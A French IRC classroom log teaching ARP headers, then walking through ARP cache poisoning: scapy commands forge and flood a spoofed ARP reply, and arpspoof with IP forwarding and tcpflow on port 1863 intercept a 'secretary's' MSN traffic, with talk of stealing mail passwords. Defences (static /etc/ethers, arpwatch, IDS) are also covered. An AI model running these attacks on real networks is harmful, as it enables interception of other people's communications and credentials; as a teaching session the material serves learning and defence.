donc, source et destination vous connaissez deja

le SAP, je sais pas si on l'appel comme ca a ce niveau c'est Service Access Point
ca permet de dire, les données qui vont suivre sont destinée à tel service toute une game de valeur existe
ici c'est 806 qui correspond a ARP
on aurait pue avoir 800 pour IPv4 par exemple et bien d'autres

21:09:::
21:09@gapz: tout le monde voit bien a quoi sert le champs protocole ?
21:09@gapz: [ ENTETE ] [ DONNNEE ]
21:09@illovae: j'ai dû louper le moment où tu as donné un exemple
21:09@gapz: avec l'entete composée de ce qu'on a vue plus haut
21:09@gapz: illovae: j'ai pas donnée d'exemple :)
21:09@gpocentek: illovae: tu le fais chez toi ;)
21:09@illovae: ah ok
21:10 visor: tu dit ici c'est 806 mais ou
21:10@gapz: mais c'est pour dire que les données qui vont suivre sont pour ARP
21:10@gapz: visor: clique sur "Ethernet ....." dans la partie basse de wireshark
21:10 *gapz donne des explications sur wireshark alors qu'il l'a meme pas sous les yeux
21:10@gapz: ni d'installé :]
21:10 *gpocentek peut faire un scrot
21:10@gapz: visor: et tu vois un champs nommé "Type"
21:11@illovae: gpocentek: ouai je veux bien :)
21:11 visor: peut-tu mettre un exemple?
21:11@gapz: on appel ca l'ether-type aussi
21:11@illovae: merci
21:11 clems_Mod_push gapz: tu fais du ethereal toute la journee ?
21:11@gapz: clems_Mod_push: j'en ai fais pendant longtemps on va dire ;)
21:11 Sp4rKy gapz est né dans une trame ipv6
21:11 visor: oui
21:11 clems_Mod_push: l horreur
21:11@gapz: mais tcpdump et scapy l'ont vite remplacé
21:11@FiFouille gapz: me disais bien, t'étais en train de me faire peur :p
21:11 clems_Mod_push: je deteste ca au taf :(
21:12@gpocentek: http://gauvain.pocentek.net/wireshark.png
21:12 clems_Mod_push: tcpdump rox
21:12@gapz: Bon, je vais vous faire un schema avec scapy
21:12@illovae: merci gpocentek
21:12@gapz: je vous demande 3s :P
21:12@gapz: merci gpocentek :)
21:12@gpocentek: ;)
21:12@gapz: gpocentek: met "arp" dans le filtre ;)
21:12 The_Tito: joli client irc ^^
21:13 clems_Mod_push: lol
21:13 clems_Mod_push: irssi :P
21:13@FiFouille bon, pendant le temps que gapz fait joujou, des questions ?
21:13 corentin`: The_Tito: c'est irssi il me semble
21:13@gpocentek: screenshot updaté
21:13+elessor: http://img70.imageshack.us/my.php?image=captureeth1capturingwirts9.png
21:13+elessor: hop avec le filtre arp ^^
21:13+elessor: ah bah trop tard
21:14:::

###[ Ethernet ]### 
   dst= ff:ff:ff:ff:ff:ff 
   src= 00:c0:a8:f4:6a:74 
   type= 0x806
###[ ARP ]### 
   hwtype= 0x1 
   ptype= 0x800 
   hwlen= 6
   plen= 4
   op= who-has
   hwsrc= 00:c0:a8:f4:6a:74
   psrc= 192.168.0.3
   hwdst= 00:00:00:00:00:00
   pdst= 192.168.0.1
21:14 clems_Mod_push: c koi comme soft ?
21:14@gapz: scapy
21:14@gapz: bon bref
21:14 clems_Mod_push: merci

le champs ether type tout le monde a compris

type= 0x806
ici donc

bon passons a un autre champ

on va passer dans l'entete du protocole ARP en gros :

  [ ENTETE Ethernet ] [ DONNEE ]
  [ ENTETE Ethernet ] [ ENTETE ARP ] [ DONNEE ]

bon sauf qu'ici DONNEE ne correspond a rien, mais n'y preter pas attention
donc, l'entete ARP

Les champs qui nous interesse réellement sont:

op= is-at pcad quel type de message c'est ?
src= 192.168.0.1 De qui ca vient ? (logique
et physique)
hwsrc= 00:04:ac:bd:39:0e
pdst= 192.168.0.3 Pour qui c'est destiné ? (logique
et physique)
hwdst= 00:c0:a8:f4:6a:74

En type de message, on peut avoir "who-has" et "is-at" qui correspondent simplement a une requete et une reponse

Maintenant, la question qui TUE
A votre avis, pourquoi on respecifie @source dans l'entete ARP ?

21:19@gpocentek: euh... pour savoir à qui répondre ?
21:19@gapz: oui mais pourquoi on le respecifie ?
21:19 clems_Mod_push gapz: au cas ou :P
21:19 _Evil_: pour avoir le vrai envoyeur du paquet ?
21:20 Raude: parce que celui qui demande est pas forcément l'interréssé
21:20@gapz: alors qu'on l'a deja dans les 6 premiers bits
21:20 _Evil_: (super mon français)
21:20@gapz: PAS DU TOUT
21:20@gapz: FiFouille: on attend ta reponse
21:20 Raude: erf
21:20 corentin` gapz: parceque la premiere fois c'est du broadcast ?
21:20@gpocentek: par sécurité ? :)
21:20 cyril_: au cas ou son ip logique a changé ?
21:20@gapz: corentin`: je parle de la source, pas de la destination
21:20@gpocentek: quel suspens
21:21 corentin`: Oops
21:21@gapz: pourquoi on respecifie la source ?
21:21@gapz: gpocentek: au contraire
21:21@FiFouille: pour le caching
21:21 alkove: c'est deux couches differentes
21:21@gpocentek gapz: pour que ce soit pas secure ? :)
21:21 *gapz applaudis alkove
21:21@FiFouille: enfin, si j'ai bien backlogué
21:21@gapz: tout simplement :)
21:21 alkove: \o/
21:21@gpocentek: bien vu alkove
21:22 illovae: rien compris
21:22 Raude: ça arrive souvent que deux couches se répètes ?
21:22 illovae: c'est quoi les deux couches différentes ici ?
21:22@gapz: Raude: plus ou moins oui
21:22 cyril_: deux couche differentes ?
21:22@FiFouille: ça change quoi que la source de la trame soit spécifiée ou pas ?
21:22@gapz: "Ethernet" et "ARP" (qui n'est pas vraiment situé sur le modele OSI)
21:22 clems_Mod_push: couche 1 et 2 ?
21:22 alkove: a priori il y a la couche eternet qui sert a router le packet et la couche protocole qui pose la question literalement
21:23@gapz: Ethernet c'est physique et sous couche MAC
21:23@gapz: ARP sous couche MAC on va dire
21:23 cyril_: arp c en couche 3
21:23 illovae: :o
21:23@gapz: FiFouille: bah il build la reponse avec en destination la source dans l'entete ARP iirc
21:23 clems_Mod_push: kel modele ?
21:23@gapz: cyril_: pas du tout
21:23@gapz: modele OSI inside
21:23 clems_Mod_push: ok
21:23@gapz: donc, pour cette histoire de sécurité gp
21:23 cyril_: sur le modele osi du site que tu as donné au debut c en couche 3
21:24@FiFouille gapz: et s'il répondait avec une adresse source à 00:00:00:00:00:00 ça changerait quoi ?
21:24@gapz: gpocentek*
21:24 visor: couche 2 liaison de données
21:24@gapz: FiFouille: la reponse non je pense pas
21:24 clems_Mod_push: m y fait pas au francais
21:24@gapz: FiFouille: mais la requete avec comme addr source 00... n'aurait jamais de reponse
21:24 visor: cyril_: quel site?
21:24@gpocentek gapz: je suis tout ouï
21:24@FiFouille: oui ça, forcément
21:24 cyril_: http://fr.wikipedia.org/wiki/Mod%C3%A8le_OSI#Caract.C3.A9risation_r.C3.A9sum.C3.A9e_des_couches
21:24@gapz: cyril_: mais arrete de raconter n'importe quoi
21:25@gapz: ils l'ont mal situés :
21:25@gapz: :)*
21:25@FiFouille: et c'est là aussi pour faire du caching pour les autres hosts, vu que la requetes est du broadcast
21:25@gapz: gpocentek: 2s :)
21:25 cyril_: Couche de réseau
21:25 cyril_: NetBEUI • IPv4 • IPv6 • ARP
21:25@gapz: cyril_: c'est pas normalisé la ou se situe ARP
21:25@gapz: moi je dis sous couche MAC, d'autre disent autre chose
21:25@gapz: enfin bref, c'est sur le côté
21:25@gapz: gpocentek: donc
21:26@gapz: le probleme de secu que ca pose gpocentek c'est qu'aucune coherence n'est demandé
21:26@gapz: tu peux faire un reply à partir d'une certaine adresse MAC et donnée dans l'entete ARP n'importe quelle autre adresse MAC
21:27@gpocentek: ok
21:27@gapz: et le probleme, encore plus grave, c'est que certain OS accepte les reply ARP sans broncher :)
21:27 corentin`: ARP poisoning :)
21:27@gapz: et tu peux modifier des entrées, voir en rajouter
21:27@gpocentek gapz: comment on fait ? :p
21:27 clems_Mod_push gapz: ...
21:27@gapz: ca vous dit une demo ?
21:27@gapz: avec scapy ?
21:27 visor: ouiiiii
21:27 cyril_: oui
21:27 clems_Mod_push: yesssssssss
21:27 Raude: ouai!!! \o/
21:27 corentin`: ettercap est pas mal pour ça aussi :P
21:27 illovae: il faut l'installer ?
21:28@gpocentek: quelle bande de h4cKErs
21:28 cyril_: mais ca fonctionne que sur reseau local
21:28@gapz: Bon bon

si vous avez plusieurs machine sur votre reseau, vous pouvez le faire
mais ne le faite pas avec votre routeur quoi :)
(enfin, vous perderez internet pour quelques secondes)

21:28@gpocentek gapz: faut du sudo aussi ?
21:28@gapz: gpocentek: avoir un access root oui

donc deja il faut python d'install
apres, dl la derniere version de scapy (merci Mr Biondi)

wget scapy.net
et voila. apres
sudo -s
cp scapy.py /usr/local/bin
chmod +x # si il y a besoin toussa
bref
21:29@gpocentek gapz: t'as un lien ?
21:30@gapz: gpocentek: pour ?
21:30@gpocentek: pour la dernière version
21:30@gapz: wget scapy.net
21:30@gpocentek: 1.0.4-1 dans les dépôts festy
21:30@gapz: c'est pas des conneries ;)
21:30@gapz: wget scapy.net
21:30@gapz: wget scapy.net
21:30@gapz: wget scapy.net
21:30@gapz: wget scapy.net
21:30@gapz: :)
21:30@gpocentek: oops j'avais pas vu, dsl
21:30@gapz: pas besoin d'apt-get :)
21:30@gapz: enfin, si vous voulez install toute les deps installer par les depots

Bref
Notre but ici va donc etre de corrompre un cache ARP sur une machine distante

Imaginons la situation suivante:

Machine A:
@ip : 192.168.0.2
@mac : 00:00:00:00:00:22
Machine B:
@ip : 192.168.0.3
@mac : 00:00:00:00:00:33
et enfin
la machine de l'attaquant:
@ip : 192.168.0.42
@mac : 00:00:00:00:00:42

Admettons que l'ont veut rediriger tout le traffic qui passe de A vers B
en un traffic qui va de A vers C (la machine de l'attaquant)

on pourrait meme apres rediriger vers B avec une petite regle iptables qui va bien
enfin, il y a d'autre nuance
pour le moment, construisons un faux reply ARP

21:34@gapz: tout le monde s'imagine bien la situation et voit ce que l'on veut faire ?
21:34@FiFouille: on veut parler plus fort que jean pol
21:34 illovae: oui
21:34@gapz: FiFouille: \o/
21:34:::
21:34 corentin`: espionner les communications msn ? xD
21:34@gapz: :]
21:35@gapz: bon tout le monde a SCAPY fonctionnel aussi ou pas ?
21:35 visor: on est pas visible?
21:35@gapz: lancer juste python scapy en root
21:35@gapz: visor: quoi donc ?
21:35@gapz: de toute facon dans ton LAN les faux reply ARP c'est direct grillé hein ;)
21:35 visor: la machine B ne peut pas s'en rendre compte?
21:36 clems_Mod_push: Weklcome to Scapy
21:36 _Evil_: fonctionnel je sais pas il dit qu'il trouve pas python gnuplot...etc
21:36@gapz: visor: si on fait ca bien, non ;)
21:36 julius: bientôt fonctionnel
21:36@gapz: enfin, normalement tu peux vite t'en rendre compte en analysant les trames etc
21:36@gpocentek: _Evil_: apt-cache depends scapy
21:36@FiFouille gapz: t'as encore des choses à dire après l'arp spoofing ?
21:36@gpocentek: et installe ce qui manque d'après la liste
21:36@gapz: FiFouille: bah cours à la carte quoi, si tu veux caller un truc
21:37@gapz: bon, si j'ai 5 "OK" je continue :)
21:37@FiFouille gapz: j'expliquerai comment faire le script kiddy alors ;)
21:37 cyril_: ok
21:37@gpocentek: OK
21:37@gapz: FiFouille: pas de soucis alors, j'ai pas mal de sujet sous le coude aussi
21:37 alkove: OK
21:37 corentin`: ok
21:37 Raude: ok
21:37 Kabefis: ok :p
21:37@gapz: ok ok :)
21:37@FiFouille: NOK
21:37:::

Bon
FiFouille: :)
lancons scapy en root
Tout abord, il va nous falloir builder notre reply ARP
pour cela:
(un truc pas default pour le moment)

  >>> pk=Ether()/ARP()
  >>> pk.show()
ca devrait donner un truc du style:
  ###[ Ethernet ]### 
    dst= 00:04:ac:bd:39:0e 
    src= 00:c0:a8:f4:6a:74 
    type= 0x806
  ###[ ARP ]### 
    hwtype= 0x1 
    ptype= 0x800 
    hwlen= 6 
    plen= 4 
    op= who-has 
    hwsrc= 00:c0:a8:f4:6a:74
    psrc= 192.168.0.3 
    hwdst= 00:00:00:00:00:00
    pdst= 0.0.0.0
maintenant, completons un peu les champs qui vont bien
deja au niveau ethernet
on attaque la machine A
donc:
  >>> pk.dst="00:00:00:00:00:11"
  >>> pk.dst
  '00:00:00:00:00:11'
voila
donc l'adresse de destination est completer
on peut laisser l'adresse source par defaut, c'est la notre :)
maintenant, passons à ARP
on va donc deja changer le type
désolé d'etre un peu lent je le fais pas tout les jours
  >>> pk['ARP'].op="is-at"
devrait marcher mais la ca me sort une exception ici
21:42 arthur-: .w 3
21:42@gapz: jusque la ca marche chez vous ?
21:43@FiFouille gapz: t'aurais mieux fait de préparer un cours sur scapy ;)
21:43@gapz: bah c'est une requete collective :)
21:43 clems_Mod_push: ouip
21:43 cyril_: ca marche jusque la
21:43 Raude: woot c'est génial scapy
21:43@gapz: chez vous ca marche is-at aussi ?
21:43 _Evil_: nickel pour moi aussi
21:43 cyril_: oui
21:44 cyril_: et on peut faire un pk.show pour afficher les modif ? ou faut pas ?
21:44@gpocentek: oui
21:44@gapz: oui oui
21:44@gapz: gpocentek: chez toi pk['ARP'].op="is-at"
21:44@gapz: ca marche ?
21:44@gpocentek gapz: ça veut dire quoi "ça marche" ?
21:44@gapz: bah ca remplis correctement le champ etc ?
21:44@gpocentek: python m'a pas levé d'exception :)
21:45@gapz: ok ok
21:45@gapz: bon continuons alors, meme si chez moi ca merde :)
21:45 clems_Mod_push: >>
21:45 clems_Mod_push: moi g ca
21:45:::
21:45@gpocentek: op= is-at
21:45@gapz: alors maintenant, il faut completer les adresses
21:45@gpocentek: (ça a l'air de marcher)
21:45@gapz: je vous demande 5s histoire de regler le soucis
21:46@gapz: allez au toilette, allez chercher une biere toussa
21:46@gapz: ecouter la blague de FiFouille
21:46@FiFouille: alors c'est un sadique, un zoophile, un necrophile, un assassin et un masoschiste qui se baladent dans la rue et ...
21:47@gapz: c'est bon ca remarche
21:47@FiFouille: bon sinon après je vous montre une version moins plomberie (mais moins intéressante aussi évidemment)
21:48@gapz: avec arp-sk FiFouille ? :P
21:48@gapz: bon remplissons les champs
21:48@FiFouille: dsniff
21:48@gapz: comme je vais pas faire tout le boulot
21:48:::
21:48@gapz: A votre avis on met quoi dans hwsrc ?
21:48 Raude: ben nous ?
21:48 corentin`: la source mac
21:48 corentin`: ?
21:48 cyril_: mac B
21:48 clems_Mod_push: (j'ai juste une kestion c opt="is-at" ou opt= "is-at")
21:49 cyril_: heu
21:49@gapz: op="is-at" clems_Mod_push
21:49 clems_Mod_push: :)
21:49 corentin`: clems_Mod_push: ça prend pas moind de temps d'essayer que de demander ?
21:49@FiFouille: clems_Mod_push: ça doit être pareil ou alors python est vraiment mauvais ;)
21:49 clems_Mod_push: ben j avais deja fais
21:49@gapz: Personne ne sait ?
21:49@gapz: pour le moment aucune bonne reponse
21:49 crevette gapz: hmm ?
21:49 clems_Mod_push: mac du C
21:49@gapz: sachant qu'on veut corrompre le cache de A pour rediriger tout ce qui va de A à B
21:50@gapz: en de A vers C
21:50@gapz: clems_Mod_push: voila :)
21:50 clems_Mod_push: src
21:50@gapz: on met notre addresse mac :)
21:50@gapz: Raude: ha tu avais la bonne reponse, j'ai pas vue :)
21:50 Raude: ^^
21:50@gapz: donc donc:
21:50@gapz: >>> pk['ARP'].hwsrc="NOTRE MAC"
21:51@gapz: >>> pk['ARP'].hwsrc=pk.src
21:51@gapz: en gros :)
21:51@gapz: tout le monde a compris et est ok jusque la ?
21:51 visor: oui ok
21:51@gpocentek: ouep
21:52@gapz: Maintenant va remplir le champ adresse source
21:52@gapz: psrc
21:52@gapz: je redemande, qu'est-ce qu'on met a votre avis ?
21:52 _Evil_: ip de B ?
21:52@FiFouille: l'adresse qu'on veut spoofer
21:52@gapz: Mr gpocentek vous avez levé le doigt ?
21:52 clems_Mod_push: lol FiFouille
21:53 clems_Mod_push: B
21:53@gapz: exactement _Evil_ et FiFouille :)
21:53 *gpocentek sifflote
21:53 _Evil_: rroouupi :-D !
21:53@gapz: soit 192.168.0.3
21:53@gapz: donc on complete:
21:53@gapz: >>> pk['ARP'].psrc="192.168.0.3"
21:53 visor: la source c'est la destination?
21:54@gapz: haha c'est beau ce que tu dis visor
21:54 Raude: c'est encore nous ?
21:54:::

je crois q'une mise au point est necessaire

on peut changer l'adresse physique de B dans le cache de A en notre adresse physique de maniere a faire envoyer A le traffic destiné à B, vers notre propre machine

21:55@gapz: vous voyez mieux ?
21:55 Raude: ah ok
21:55 Kabefis: ah que oué
21:55@FiFouille: bon, je recommence mon analogie du café ;)
21:55@FiFouille: vous arrivez, y'a plein de monde, vous demandez où est jean pol
21:55@FiFouille: sauf que jean pol est timide, il dit seulement une fois "ici, c'est moi"
21:56@FiFouille: et y'a un autre sale type qui arrête pas de répéter, "je suis jean, hého, ici, c'est moi!"
21:56@FiFouille: vous faites quoi ? ben y'a des chances que vous parliez à l'autre type pensant que c'est jean pol
21:56@gapz: :)
21:56@FiFouille: et l'autre type peut même transmettre ce que vous lui dite à jean pol, en disant que ça vient de vous
21:56@FiFouille: et éventuellement déformer ce que vous dites ;)
21:57@gapz: Enfin, completer:
21:57@gapz: hwdst= 00:00:00:00:00:00
21:57@gapz: pdst= 0.0.0.0
21:57@gapz: on met tout ce qui correspond a notre destinataire
21:57@gapz: donc on met ?
21:57 clems_Mod_push ca aide pas trop la biere tu sais gapz
21:58@gapz: :]
21:58 _Evil_: 192.168.0.2 et 00:00:00:00:00:22
21:58 _Evil_: ?
21:58@gapz: voila _Evil_, encore une bonne reponse :)
21:58 _Evil_: décidément :)
21:58 corentin` gapz: mefie toi avec un nick comme ça on sait jamais :P
21:59@gapz: hwdst= 00:00:00:00:00:22
21:59@gapz: pdst= 192.168.0.2
21:59@gapz: donc
21:59@gapz: corentin`: :)
21:59@gapz: bon bon
21:59@gapz: il y a du monde qui a decroché ?
22:00@gapz: faut repondre quelques points ?
22:00 clems_Mod_push: euh
22:00@gapz: des gens ont des questions avant d'envoyer notre belle petite trame ?
22:00 clems_Mod_push: au pire ca couille :)
22:00@gapz: n'hesitez surtout pas
22:00@illovae: pas de question
22:00 *gapz attend 4 OK avant de continuer :P
22:00 cyril_: ok
22:00 clems_Mod_push: des milliers
22:00 Raude: ok
22:01@illovae: ok
22:01 clems_Mod_push: ok
22:01 wiloo: ça continue tjrs le cours ??
22:01@FiFouille: 4 OK avant de continuer :P
22:01@gapz: wiloo: non la on fait une belotte
22:01:::

donc, je prend l'as
</bruit>
Bref, maintenant que notre belle trame est faite il faut l'envoyer

normalement, cela devrait ressembler a cela:

>>> pk.show()
###[ Ethernet ]###
  dst= 00:00:00:00:00:11
  src= 00:c0:a8:f4:6a:74
  type= 0x806
###[ ARP ]###
     hwtype= 0x1
     ptype= 0x800
     hwlen= 6
     plen= 4
     op= is-at
     hwsrc= 00:c0:a8:f4:6a:74
     psrc= 192.168.0.3
     hwdst= 00:00:00:00:00:22
     pdst= 192.168.0.2
pour l'envoyer, rien de plus simple:
>>> sendp(pk)
ce qui genere:
arp reply 192.168.0.3 is-at 00:c0:a8:f4:6a:74

et dans le cache de A, devrait etre modif l'adresse physique de B seulement il se peut que plusieurs envoie periodique remodifie ce champ vous pouvez donc l'envoyer aussi peridiquement

par exemple, pour blinder votre reseau de reply arp:

while 1: sendp(pk)

(A NE PAS FAIRE)

22:04:::
22:04@gapz: voila
22:04 clems_Mod_push gapz: lol
22:04@FiFouille gapz: haha, là c'est sûr, on t'a vu :p
22:04@gapz: Bon, pour finir sur ARP, des questions ?
22:04 clems_Mod_push: calme meme
22:04@gapz: j'avais pas preparé donc j'ai pas de traffic type à vous montrer
22:04 cyril_: que fait le while ?
22:05@FiFouille: pour les gens qui voudraient faire des 'essais' chez eux
22:05@gapz: cyril_: c'est une structure de controle
22:05 visor: tant que
22:05@gapz: cyril_: ce la programmation, aucun rapport avec ARP
22:05@gapz: c'est de la*
22:05@FiFouille: regardez du côté de arpspoof dans le paquet dsniff et aussi de tcpflow, le port 1863 est instructif (et édifiant)
22:05 Kabefis: On peut faire beaucoup de passerelle comme ca? ganre passez de A à attaquant1 attaquant2 etc ?
22:05 clems_Mod_push gapz: merci !! s
22:05@gapz: il y a aussi l'outil ARP-SK qui vous permet de realiser cela en deux coups de cuiellere a pot
22:06@gapz: Kabefis: non non, un seul, vue qu'il n'y a qu'une correspondance
22:06@FiFouille gapz: c'est un fork d'arpspoof ou autre chose dans ce gout ?
22:06@gapz: FiFouille: euh, je suis pas sur, mais non
22:06@FiFouille: ben en théorie en chainant les arp spoofés et en visant la bonne 'cible' y'a moyen d'en faire plein d'étapes intermédiaires
22:07 _Evil_: ça permet vraiment de récupérer quelque chose de concret quand des paquets nous sont pas destinés a la base ?
22:07 cyril_: comment tu fais pour relancer de facon peroidique, scype
22:07@FiFouille: _Evil_: la conversation IM du voisin ou son mot de passe mail ? oui
22:07 cyril_: comment tu fais pour relancer de facon peroidique, scypesc
22:07 cyril_: arg sorry
22:07 cyril_: comment tu fais pour relancer de facon peroidique, scapy le prevois ds les options ?
22:08@gpocentek: cyril_: c'est du python
22:08@gapz: non non, mais dans une boucle tu fais des temporisations etc cyril_, par exemple
22:08@gpocentek: donc il suffit de coder un timer en python
22:08@gapz: voila :)
22:08@gapz: Bon, j'espere que tout le monde a compris
22:08 cyril_: heu je connais pas la programmation
22:08@gapz: des questions specifiques sur ARP encore ? ou pas du tout ?
22:08 illovae_: re
22:08@gapz: re illovae_ :)
22:09 illovae_: (merci freebox et vive les déconnexions \o/
22:09 illovae_: )
22:09@gapz: :-/
22:09@FiFouille: illovae_: tu t'es surement fait arpspoofer ;)
22:09 cyril_: une fois que le packet est envoye avec scapy, on ne sait plus le renvoyer ou il est stocker en memoire , ?
22:09 illovae_: FiFouille: haha non, j'aimerai bien mais non :)
22:09 Kabefis: et on peut pas se faire passez en B pour A et en A pour B, ils se mettrais plus à jour si?
22:10@FiFouille: Kabefis: si, justement ;)
22:10@gapz: Kabefis: on appel ca une attaque "Homme du milieu"
22:10@FiFouille: Kabefis: intercepter les paquets dans les deux sens
22:10@gapz: Man in the Middle
22:10 visor: le cache arp dure combien de temps?
22:10 Kabefis: oki
22:10@gapz: visor: ca depend des implementations ;)
22:10@gapz: tout ca pour dire que j'en sais rien :)
22:11 cyril_: heu moi je le perd apres qques minutes
22:11 clems_Mod_push: FiFouille: smtp aussi ?
22:11@FiFouille: clems_Mod_push: s'il est pas chiffré, oui
22:11 clems_Mod_push: a oui kand meme
22:11 clems_Mod_push: lol
22:11@gapz: clems_Mod_push: bah tu peux TOUT chopper quoi
22:11@gapz: du moment que c'est pas chiffré
22:11@FiFouille: sous windows c'est entre 2 et 5 minutes, y'a moyen de s'amuser ;)
22:11 cyril_: qqun a dis que wireshark pouvait fonctionner en mode promiscuous ?
22:12@gapz: bah n'importe quel sniffeur fonctionne comme ca cyril_
22:12 cyril_: ben j'ai un carte atheros
22:12@gapz: haha
22:12 clems_Mod_push: je taf dans les firewall chez fabricant et suis sur ke les signatures ids and co peuvent pas bloquer ca
22:12 cyril_: sous windows je peux
22:12@gapz: merde la fortune quoi
22:12@FiFouille: oui et donc, si vous avez à faire à un neuneu vous pouvez aussi intercepter ce qui est chiffré en émettant un faux certificat, mais c'est encore autre chose ;)
22:12 cyril_: mais sous wireshark il demande de me conncté au point d'aces
22:12@gapz: cyril_: promiscuous c'est un mode de fonctionnement ou tu acceptes tout
22:13@gapz: FiFouille: oui, meme recup des cles prepartagée avec diffie-hellman
22:13@gapz: enfin, il y a matiere a bosser avec MiTM
22:13 clems_Mod_push gapz: demain je test ca au taf dans le reseau test te dirait si c'est capte par les IDS et IPS
22:13@gapz: :]
22:13 clems_Mod_push: et je pense pas
22:13 visor: on peut récuperer des clef wep aussi?
22:13@FiFouille: bon sinon la manière 'simple' de faire le sale script kiddy
22:13@gapz: ce qui est donné ici n'est qu'a titre d'information, et devrait vous servir a mieux comprendre le probleme de la securité
22:14 clems_Mod_push: wep meme sans ca c con
22:14@FiFouille: visor: c'est autre chose et on en parlera pas là ;)
22:14@gapz: pas a faire chier la secretaire sous MSN
22:14@FiFouille gapz: mais si, arrete de leur faire peur ;)
22:14 clems_Mod_push: fo juste la conne carte wiffi lol
22:14@gapz: FiFouille: :]
22:14 clems_Mod_push: bonne
22:14@FiFouille: bion bion
22:14@gapz: bon, FiFouille va vous presenter un truc
22:14@FiFouille: donc, paquet 'dsniff' et 'tcpflow', rien de plus
22:14 *gapz va boire
22:15@FiFouille: dans dsniff y'a un programme appelé 'arpspoof'
22:15@FiFouille c'est tout bête, ça fait le boulot de gapz avec scapy, mais en plus simple
22:15@FiFouille: (mais ça sait faire que ça)
22:15 cyril_: wireshark me dis promiscuous mode not supported by the card "any"
22:15@gapz: arp-sk assi
22:15 cyril_: :(
22:15@FiFouille: donc le but comme on l'a dit, c'est de se faire passer pour la passerelle/gateway/routeur ... enfin, comme vous l'appelez
22:15 visor: pas trop vite
22:15@FiFouille: et l'intérêt serait aussi de faire transiter l'information comme si de rien n'était
22:15 visor: je l'install
22:16@FiFouille: alors en root # echo 1 > /proc/sys/net/ipv4/ip_forward
22:16@FiFouille: y'a aussi un appel à sysctl qui marche bien, mais je m'en souviens jamais
22:16@FiFouille: tout ce que ça va faire c'est activer le forwarding de paquets
22:16 clems_Mod_push: tu enable le forward pour ca ?
22:16@FiFouille: histoire qu'un truc qui vous est pas destiné va être transféré à la bonne personne
22:17@gapz: sysctl -w ip_forward
22:17@gapz: =1
22:17@gapz: au hasard :]
22:17@FiFouille: donc le but, se faire passer pour la passerelle et fournir à la passerelle ensuite
22:17@FiFouille: le message MSN de la secrétaire passe par vous puis va sur internet via le routeur, tout va bien, personne n'a rien remarqué
22:17@FiFouille: mettons que la passerelle soit le 192.168.1.1 et la secrétaire le 192.168.1.100
22:18@FiFouille: c'est simple, une fois le forward activé
22:18@FiFouille: sudo arpspoof -t 192.168.1.100 192.168.1.1
22:18@FiFouille: on peut aussi le faire comme un bourrain sans le -t adresse.ki.va.bien
22:18@FiFouille: mais alors on broadcast dans tous les sens, c'est encore moins discret ;)
22:19@FiFouille: à partir de ce moment arpspoof va régulièrement s'annoncer à la machine de la secrétaire en faisant croire qu'on est la passerelle
22:19@FiFouille: voilà, c'est gagné, le trafic passe par nous
22:19@FiFouille: un petit coup de
22:19@FiFouille: sudo tcpflow -c port 1863 and host 192.168.1.100
22:19@FiFouille: et vous pouvez sortir le popcorn et la bière
22:20@FiFouille: bon, on a que le trafic secréatire → internet
22:20 cyril_: et c pas blocable ce arp ?
22:20@FiFouille: je vous laisse deviner comment faire pour avoir le retour ;)
22:20 visor: ça fait quoi la derniere commande
22:20@FiFouille: cyril_: ahh, la bonne question ;)
22:20@gapz: cyril_: c'est necessaire ;)
22:20 cyril_: je veux dire si on fait un subnet avec un range de 1 machine
22:20@FiFouille: visor: ça écoute ce qui passe sur le port 1863 et qui est vers ou depuis 192.168.1.100
22:20@FiFouille: cyril_: avec des VLAN par exemple ça peut marcher, mais c'est un peu gros comme mise en place
22:20@FiFouille: mais y'a une autre solution
22:20 cyril_: chaque machine serait sur un subnet different ca devrait contrer le arp ?
22:21@FiFouille: si vous êtes un bon paranorak, vous avez simplement édité le fichier /etc/ethers
22:21@FiFouille: et c'est magique
22:21 _Evil_: mais arpspoof fait tout le boulot pour enpoisonner le cache arp de la secrétaire (enfin de son pc) ?
22:21@FiFouille: on peut spécifier en dur MAC IP dans le fichier en question
22:21@FiFouille: et donc les autres peuvent annocer tant qu'ils veulent, vous n'en tennez pas compte ;)
22:21 clems_Mod_push: euh comment tu fais pour le retour ?
22:22@FiFouille: _Evil_: oui, il fait les bons paquets ARP et il répète tant qu'il faut
22:22 illovae: oui je veux bien aussi pour le retour :)
22:22@FiFouille: clems_Mod_push: la même chose, mais en changeant la commande arpspoof, on inverse target et spoofé ;)
22:22 cyril_: en fesant un masque de sous reseau 255.255.255.128, chaque machine est seule, et ne sais pas communiquer entres elles
22:22@FiFouille: sudo arpspoof -t 192.168.1.1 192.168.1.100
22:22 clems_Mod_push: a ok
22:22:::
22:22 ::: cyril_ was kicked from #ubuntu-fr-classroom by gapz [gapz]
22:22@gapz: un peu de calme
22:22 *gapz respire
22:23 clems_Mod_push: putain
22:23@FiFouille: bon sinon y'a aussi des IDS qui repèrent ce genre de manoeuvre
22:23@FiFouille: de l'arp qui passe en permanence c'est visible
22:23 clems_Mod_push: je confirme
22:23@FiFouille: et normalement ettercap a un plugin pour découvrir ça aussi, il est tout simple et assez efficace
22:23@gapz: clems_Mod_push: quoi ? :P
22:23 clems_Mod_push: mais ya d autre soft ki brocast de l arp
22:23@gapz: il y a des outils de detection spécialisé aussi
22:24 Kabefis: Mais on peut changer notre adresse mac, on pourra donc toujours se faire passer pour autrui nan?
22:24@FiFouille: enfin bon, le truc qu'il faut retenir
22:24@gapz: clems_Mod_push: bah non, c'est ilogique :)
22:24 clems_Mod_push gapz: je confirme mes IDS le detecte
22:24@FiFouille: c'est qu'avec de l'arpspoofing un réseau filié c'est pas bcp mieux qu'un réseau sans fil ou sur un simple hub ;)
22:24 illovae: Kabefis: +1 c'est vrai ça non ?
22:24 illovae: autant ne pas utiliser sa propre adresse mac alors non ?
22:24@FiFouille: illovae: faudra bien que tu l'annonces à un moment si tu veux communiquer
22:25@FiFouille: et si tout le monde le sait, le méchant script kiddy le sait aussi et on revient au point de départ
22:25 clems_Mod_push: mais tu peux la changer
22:25 clems_Mod_push: :)
22:25 illovae: hum
22:25@gapz: arpwatch permet de detecter l'arp poisoning :)
22:25@FiFouille: oui, mais la changer ne servira à rien
22:25@FiFouille: si au lieu de t'appeler jean pol tu changes en jean pierre
22:26@gapz: clems_Mod_push: tu as quoi comme IDS chez toi ?
22:26@FiFouille: une fois que les gens du café (le réseau) est au courant, c'est foutu
22:26 clems_Mod_push: euh je bosses pour un fabricant en secu
22:26 clems_Mod_push: je le citerais pas
22:26 clems_Mod_push: :)
22:26 illovae: FiFouille: ouai...
22:26 visor: cisco?
22:26 Kabefis: FiFouille, oué mais si tu t'apel jean pol II , tout le monde te respect nan?
22:26 illovae: merde des espions sur le chan
22:26 clems_Mod_push: a nop :(
